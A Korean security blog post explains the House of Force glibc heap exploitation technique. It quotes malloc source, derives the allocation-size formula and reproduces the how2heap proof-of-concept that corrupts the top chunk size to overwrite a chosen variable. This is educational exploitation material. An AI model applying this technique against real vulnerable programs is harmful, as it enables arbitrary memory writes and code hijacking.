HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • log4j
  • 아파치
  • JNDI
  • 취약점

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

House of Force?
SYSTEM HACKING/기법

House of Force?

2022. 1. 25. 23:26
728x90

House of Force

Top Chunk의 크기를 조작하여 원하는 주소에 chunk를 할당을 받는다.

이는 glibc 2.29 버전에서 패치가 되었으며, 최신 버전의 glibc에서는 작동을 하지 않는다.

 

[+]

여담으로 이전에 house of force에 관해서 작성한 글이 있기는 한데..

너무 허술한거 같아서 다시 작성한다

2018.03.08 - [SYSTEM HACKING/기법] - [How2Heap] House of Force

 

 

해당 실습 환경은 glibc 2.27에서 진행되었다.

 

.

.

 

  /* finally, do the allocation */
  p = av->top;
  size = chunksize (p);

  /* check that one of the above allocation paths succeeded */
  if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
    {
      remainder_size = size - nb;
      remainder = chunk_at_offset (p, nb);
      av->top = remainder;
      set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_head (remainder, remainder_size | PREV_INUSE);
      check_malloced_chunk (av, p, nb);
      return chunk2mem (p);
    }

 

malloc을 할 경우 위와 같은 과정을 거쳐서 chunk를 할당을 해주게 된다.

 

과정을 간단하게 설명을 해보자면,

av->top을 p에 저장하고, 그 chunk의 크기를 size에 저장한다. (※av->top이라는 것은 top chunk를 가리키는 것임)

이후 size의 값이 nb(요청한 값) + MINSIZE(chunk의 최소크기) 보다 크거나 같으면 아래의 if문을 실행시킨다.

remainder_size에 top chunk의 크기와 요청한 값의 크기를 빼서 저장한다.

reamainder에 chunk_at_offset을 해준 값을 저장한다.

.

.

[+]

#define chunk_at_offset(p,s) ((mchunkptr) (((char* ) (p)) + (s)))

chunk_at_off은 위와 같은 매크로로써 p에 s의 offset만큼을 증가시켜준다.

 

 

이후 av->top에 remainder가 저장이 되고,

set_head를 통해 p->size에 nb를 remainder->size에 remainder_size를 저장한다.

.

.

[+]

#define set_head(p, s)       ((p)->mchunk_size = (s))

 

이후 chunk2mem(p)를 return값으로 넘겨준다

.

.

[+]

#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))

주어진 chunk 포인터(p)가 데이터를 가리킬 수 있게끔 바꿔준다.

 

 

 

 

 

이를 통해서 알 수가 있는 점은

top chunk의 size를 우리가 원하는 값으로 변경이 가능하면,

우리가 원하는 주소에도 값을 쓸 수 있다는 것을 알 수가 있다.

 

새로운 top은 위에서 확인했다시피 이전의 top + nb(요청받은 사이즈)를 통해서

정의를 해주는데, 이를 이용해서 원하는 주소에 값을 작성하는 연산을 작성해보겠다.

 

new_top = old_top + nb

nb = new_top - old_top

req+2sizeof(long) = new_top - old_top

req = new_top - old_top - 2sizeof(long)

req = dest - 2sizeof(long) - old_top - 2sizeof(long)

req = dest - old_top - 4sizeof(long)

 

이와 같이

<할당 받기 원하는 주소> - Top Chunk의 주소 - 0x10을 통해서 원하는 주소에 값 작성이 가능하다.

 

 

 

.

.

 

How2heap House_of_force.c

 

/*
   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
   ( http://phrack.org/issues/66/10.html )
   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
	fprintf(stderr, "\nWelcome to the House of Force\n\n");
	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
	fprintf(stderr, "Its current value is: %s\n", bss_var);



	fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
	intptr_t *p1 = malloc(256);
	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

	fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
	int real_size = malloc_usable_size(p1);
	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

	fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

	//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

	fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	//------------------------

	fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
	   "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
	   "overflow) and will then be able to allocate a chunk right over the desired region.\n");

	/*
	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
	 * new_top = old_top + nb
	 * nb = new_top - old_top
	 * req + 2sizeof(long) = new_top - old_top
	 * req = new_top - old_top - 2sizeof(long)
	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
	 * req = dest - old_top - 4*sizeof(long)
	 */
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
	void *new_ptr = malloc(evil_size);
	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

	void* ctr_chunk = malloc(100);
	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);
	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
	strcpy(ctr_chunk, "YEAH!!!");
	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);


	// some further discussion:
	//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
	//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
	//	"and we \nwant to set this result to the address of malloc_got_address-8\n\n");
	//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
	//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
	//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
	//	"\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

	//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
	//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

	//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

 

이 코드는 house of force를 통해서

아래의 bss영역에 있는 값을 top chunk 변조를 통해서

원하는 값으로 변경을 하려고 한다.

 

 

*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;

해당 코드를 통해서 top chunk의 size를 -1인 0xffffffffffffffff으로 변경이 되었다.

조작이 완료되었으므로 우리가 원하는 size만큼의 heap을 할당을 받을 수가 있다.

 

한번 우리가 어느정도의 크기의 heap을 할당을 해야지

원하는 주소에 값을 쓸 수 있는지 계산을 해보자.

 

bss_var - old_top -4*sizeof(long)

0x555555756020 - 0x555555757360 - 0x20 = 0xFFFFFFFFFFFFECA0이다.

이 값을 할당을 하면 우리가 원하는 주소인 bss_var에 값을 작성을 할 수가 있게 된다.

 

이후 malloc(100)을 통해서 bss_var에 heap을 할당을 했으며,

 

bss_var에 원래 작성되어있던 값을 공격자가 원하는 값으로 변경이 가능하다...

 

 

 

 

 

 

 

 


https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c

 

GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.

A repository for learning various heap exploitation techniques. - GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.

github.com

 

https://github.com/ch4rli3kop/Study/blob/master/malloc/malloc_glibc-2.25.c

 

GitHub - ch4rli3kop/Study: Where to organize my study

Where to organize my study. Contribute to ch4rli3kop/Study development by creating an account on GitHub.

github.com

 

'SYSTEM HACKING > 기법' 카테고리의 다른 글

_IO_FILE vtable overwrite & _IO_FILE Structure  (0) 2022.06.04
Exploit using _rtld_global & exit()  (0) 2022.05.28
Unsafe unlink in glibc 2.23, 2.27 and over 2.27  (0) 2022.01.22
Poison Null Byte in glibc 2.27  (0) 2022.01.16
Fastbin double free in Glibc 2.3.x  (0) 2022.01.01
    'SYSTEM HACKING/기법' 카테고리의 다른 글
    • _IO_FILE vtable overwrite & _IO_FILE Structure
    • Exploit using _rtld_global & exit()
    • Unsafe unlink in glibc 2.23, 2.27 and over 2.27
    • Poison Null Byte in glibc 2.27
    HO_9
    HO_9

    티스토리툴바